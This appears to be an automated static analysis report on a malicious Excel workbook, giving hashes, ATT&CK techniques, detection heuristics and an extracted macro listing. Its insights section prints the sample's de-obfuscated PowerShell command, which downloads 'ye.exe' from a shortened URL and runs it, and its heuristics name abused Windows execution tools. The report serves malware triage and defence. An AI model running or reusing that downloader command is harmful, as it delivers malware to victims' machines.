Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 c272d71b8183610a…

MALICIOUS

Office (OLE) / .XLS

66.5 KB Created: 2020-09-20 21:17:44
MD5: 7f8dff8b3b7acb260d9d0f5d718a901c SHA-1: b5c2aee9f371775e8d99239854165995d01e7163 SHA-256: c272d71b8183610a999d5e6b9007c5ead305641ead956a98b5ed88b3c1741216
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1059.005 Visual Basic

The sample contains Excel 4.0 macros that are configured to auto-execute upon opening. The macros utilize the EXEC function to run obfuscated PowerShell commands. The primary command reconstructs to 'cmd /k p^ower^shell -w 1 (nEw-oBje`cT Net.WebcL`IENt).(\'DownloadFile\').Invoke((\'ht\'+\'tps://tinyurl.com/yxu95l34\'),\'ye.exe\')', which downloads a file named 'ye.exe' from the provided tinyurl URL. Subsequent macros move the downloaded file to the user's AppData directory and then execute it, indicating a downloader or dropper functionality.

Heuristics 5

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
57ea995d781dd3cb0725285958070f4f6a428da03f2dc0d5c8ad99c72fdf4a4a
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 811 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.